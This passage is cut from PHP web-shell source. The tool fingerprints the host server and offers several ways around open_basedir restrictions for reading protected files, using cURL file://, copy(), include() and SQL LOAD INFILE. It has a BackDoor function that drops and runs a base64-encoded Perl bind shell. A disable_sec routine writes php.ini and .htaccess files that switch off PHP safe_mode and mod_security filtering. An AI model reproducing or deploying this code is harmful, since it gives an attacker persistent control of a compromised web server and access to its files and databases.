";
break;
case 'dark':
echo "";
break;
default:
echo "
";
break;
}
echo base64_decode("PGNlbnRlcjxpbWcgc3JjPSdodHRwOi8vaW1nNTI5LmltYWdlc2hhY2sudXMvaW1nNTI5LzExNjYv
bWlsY2lzaGVsbGxrNi5wbmcnPjwvY2VudGVyPg==");
echo "
| Server IP | Your IP | Disk space | Safe_mode? | Open_BaseDir? | System | Server software | Disabled functions | ID | Shell location |
| $serv | $addr | $space of $total | $safe_mode | $open_basedir | $uname | $soft | $disable | $idval | ".CleanDir(getcwd()).'/'.basename($_SERVER['PHP_SELF'])." |
";
foreach($links as $val=>$addr) echo " [ $val ]";
echo "
";
if(isset($_POST['encryption']))
{
$e=$_POST['encrypt'];
echo "";
@fclose($fh);
}
}
function security_bypass()
{
if(isset($_POST['curl_bypass']))
{
$ch=curl_init("file://$_POST[file_bypass]");
curl_setopt($ch,CURLOPT_HEADERS,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$file_out=curl_exec($ch);
curl_close($ch);
echo "";
}
elseif(isset($_POST['tmp_bypass']))
{
tempnam("/home/",$_POST['file_passwd']);
}
elseif(isset($_POST['copy_bypass']))
{
if(@copy($_POST['file_bypass'],$_POST['dest']))
{
echo "File successfully copied!";
@$fh=fopen($_POST['dest'],'r');
echo "";
@fclose($fh);
} else echo "Failed to copy file";
}
elseif(isset($_POST['include_bypass']))
{
if(file_exists($_POST['file_bypass']))
{
echo "";
}
}
elseif(isset($_POST['sql_bypass']))
{
extract($_SESSION);
$conn=mysql_connect($mhost.":".$mport,$muser,$mpass);
if($conn)
{
mysql_select_db($_POST['sql_db']);
mysql_query("CREATE TABLE `$_POST[tmp_table]` (`File` TEXT NOT NULL);");
mysql_query("LOAD DATA INFILE "$_POST[sql_file]" INTO TABLE $_POST[tmp_table]") or die(mysql_error());
$res=mysql_query("SELECT * FROM $_POST[tmp_table]");
if(mysql_num_rows($res)<1) die("Failed to retrieve file contents!");
if($res)
{
while($row=mysql_fetch_array($res)) $f.="$row[0]";
echo $f;
}
mysql_query("DROP TABLE $_POST[tmp_table]");
}
}
echo "| Security (open_basedir) bypassers |
| Bypass using cURL | Bypass using tempnam() |
| |
| Bypass using copy() | Bypass using include() |
| |
| Bypass using SQL LOAD INFILE [Login to SQL server first] |
|
";
}
function brute_force()
{
echo "";
}
function BackDoor()
{
global $backdoor_perl;
global $disable;
if(!isset($_POST['backdoor_host']))
{
echo "";
} else {
@$fh=fopen("shbd.pl","w");
@fwrite($fh,base64_decode($backdoor_perl));
@fclose($fh);
execmd("perl shbd.pl $_POST[port]",$disable);
echo "Server backdoor'd";
}
}
function disable_sec()
{
@$ini=fopen("php.ini","w ");
@fwrite($ini,"disable_functions=
open_basedir=Off
safe_mode=Off
safe_mode_gid=Off
remote_includes=On
");
@$hta = fopen(".htaccess","w ");
@fwrite($hta,"
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
");
@fclose($ini);
@fclose($hta);
}
function sql_rep_search($dir)
{
global $self;
$ext=array(".db",".sql");
@$dh=opendir($dir);
while((@$file=readdir($dh)))
{
$ex=strrchr($file,'.');
if(in_array($ex,$ext)&&$file!="Thumbs.db"&&$file!="thumbs.db")
echo " |
